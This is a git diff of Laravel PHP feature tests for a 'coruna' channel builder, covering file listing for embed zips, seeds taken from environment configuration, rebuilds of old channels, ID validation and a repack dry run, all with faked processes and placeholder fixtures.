$zip->getFromName('README.txt')); + $zip->close(); + @unlink($tmp); + } + + #[Test] + public function zip_service_lists_only_browser_files(): void + { + $dir = storage_path('app/channel-artifacts-test/channel/3.1.07/weifile'); + if (! is_dir($dir) && ! mkdir($dir, 0775, true) && ! is_dir($dir)) { + $this->fail('unable to create weifile fixture dir'); + } + file_put_contents($dir.'/index.js', '/* coruna-embed-boot */'); + file_put_contents($dir.'/payload.js', 'payload'); + file_put_contents($dir.'/weifile.html', ''); + + $channel = new Channel([ + 'channel_id' => '3.1.07', + 'builder_type' => Channel::BUILDER_NEW, + ]); + + $files = app(ChannelEmbedZipService::class)->listFiles($channel); + $this->assertSame(['index.js', 'payload.js', 'weifile.html'], $files); + } +} diff --git a/tests/Feature/ChannelProjectServiceTest.php b/tests/Feature/ChannelProjectServiceTest.php index 0e727e1..fb2438c 100644 --- a/tests/Feature/ChannelProjectServiceTest.php +++ b/tests/Feature/ChannelProjectServiceTest.php @@ -29,6 +29,7 @@ class ChannelProjectServiceTest extends TestCase 'coruna.channel_builder.python' => 'python3', 'coruna.channel_builder.artifact_root' => storage_path('app/channel-artifacts-test'), 'coruna.channel_builder.timeout' => 30, + 'coruna.channel_builder.seed' => '11111111111111111111111111111111', 'coruna.channel_builder_new.python' => 'python3', 'coruna.channel_builder_new.state_root' => storage_path('app/channel-builder-new-test'), 'coruna.channel_domains' => ['fallback.test'], @@ -102,12 +103,15 @@ class ChannelProjectServiceTest extends TestCase return str_contains($joined, 'new_project.py') && str_contains($joined, self::CHANNEL_ID) && str_contains($joined, '--support-template') - && str_contains($joined, 'blank'); + && str_contains($joined, 'blank') + && str_contains($joined, '--deployment-seed') + && str_contains($joined, '11111111111111111111111111111111') + && str_contains($joined, '--reporting-seed'); }); } #[Test] - public function it_forwards_optional_seeds_to_builder(): void + public function it_forwards_env_seed_and_ignores_request_seeds(): void { Process::fake([ '*' => Process::result(output: $this->fakeBuildResult(['seeds_initialized' => false, 'sync_rebuilt' => false])), @@ -116,41 +120,30 @@ class ChannelProjectServiceTest extends TestCase app(ChannelProjectService::class)->generate( self::CHANNEL_ID, 'test', - 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa', - 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa', + 'cccccccccccccccccccccccccccccccc', + 'dddddddddddddddddddddddddddddddd', ); Process::assertRan(function ($process) { $joined = is_array($process->command) ? implode(' ', $process->command) : (string) $process->command; return str_contains($joined, '--deployment-seed') - && str_contains($joined, 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa') + && str_contains($joined, '11111111111111111111111111111111') && str_contains($joined, '--reporting-seed') - && substr_count($joined, 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa') >= 2; + && ! str_contains($joined, 'cccccccccccccccccccccccccccccccc') + && ! str_contains($joined, 'dddddddddddddddddddddddddddddddd'); }); } #[Test] - public function it_rejects_partial_seed_pair(): void + public function old_builder_requires_env_seed(): void { + config(['coruna.channel_builder.seed' => '']); + $this->expectException(RuntimeException::class); - $this->expectExceptionMessage('deployment_seed 与 reporting_seed 必须同时提供'); + $this->expectExceptionMessage('CORUNA_CHANNEL_SEED'); - app(ChannelProjectService::class)->generate(self::CHANNEL_ID, 'test', 'only-one', null); - } - - #[Test] - public function it_rejects_mismatched_seed_pair(): void - { - $this->expectException(RuntimeException::class); - $this->expectExceptionMessage('deployment_seed 与 reporting_seed 必须相同'); - - app(ChannelProjectService::class)->generate( - self::CHANNEL_ID, - 'test', - 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa', - 'bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb', - ); + app(ChannelProjectService::class)->generate(self::CHANNEL_ID, 'test'); } #[Test] @@ -664,6 +657,89 @@ class ChannelProjectServiceTest extends TestCase }); } + #[Test] + public function it_rebuilds_existing_old_channels_in_place(): void + { + $otherOld = 'bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb'; + Channel::query()->create([ + 'channel_id' => self::CHANNEL_ID, + 'builder_type' => Channel::BUILDER_OLD, + 'user_id' => 0, + 'status' => 1, + ]); + Channel::query()->create([ + 'channel_id' => $otherOld, + 'builder_type' => Channel::BUILDER_OLD, + 'user_id' => 0, + 'status' => 1, + ]); + Channel::query()->create([ + 'channel_id' => self::NEW_CHANNEL_ID, + 'builder_type' => Channel::BUILDER_NEW, + 'user_id' => 0, + 'status' => 1, + ]); + Process::fake([ + '*' => Process::result(output: $this->fakeBuildResult()), + ]); + + $result = app(ChannelProjectService::class)->rebuildOldChannels(); + + $this->assertCount(2, $result['channels']); + + Process::assertRanTimes(function ($process) { + $joined = is_array($process->command) ? implode(' ', $process->command) : (string) $process->command; + + return str_contains($joined, 'new_project.py') + && str_contains($joined, '--deployment-seed') + && str_contains($joined, '11111111111111111111111111111111'); + }, 2); + Process::assertRan(function ($process) { + $joined = is_array($process->command) ? implode(' ', $process->command) : (string) $process->command; + + return str_contains($joined, 'new_project.py') && str_contains($joined, self::CHANNEL_ID); + }); + Process::assertRan(function ($process) { + $joined = is_array($process->command) ? implode(' ', $process->command) : (string) $process->command; + + return str_contains($joined, 'new_project.py') && str_contains($joined, 'bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb'); + }); + } + + #[Test] + public function it_rejects_invalid_old_channel_ids_when_repacking(): void + { + $this->expectException(RuntimeException::class); + $this->expectExceptionMessage('旧版渠道 ID 必须是 32 位 hex'); + + app(ChannelProjectService::class)->resolveOldChannelIds(['not-a-channel']); + } + + #[Test] + public function coruna_repack_dry_run_lists_old_channels(): void + { + Channel::query()->create([ + 'channel_id' => self::CHANNEL_ID, + 'builder_type' => Channel::BUILDER_OLD, + 'user_id' => 0, + 'status' => 1, + ]); + Channel::query()->create([ + 'channel_id' => self::NEW_CHANNEL_ID, + 'builder_type' => Channel::BUILDER_NEW, + 'user_id' => 0, + 'status' => 1, + ]); + Process::fake(); + + $this->artisan('coruna:repack', ['--dry-run' => true]) + ->expectsOutputToContain('将重打 1 个旧版渠道') + ->expectsOutputToContain('/web/'.self::CHANNEL_ID.'/support.html') + ->assertSuccessful(); + + Process::assertNothingRan(); + } + #[Test] public function version_format_required_for_new_channel_ids(): void {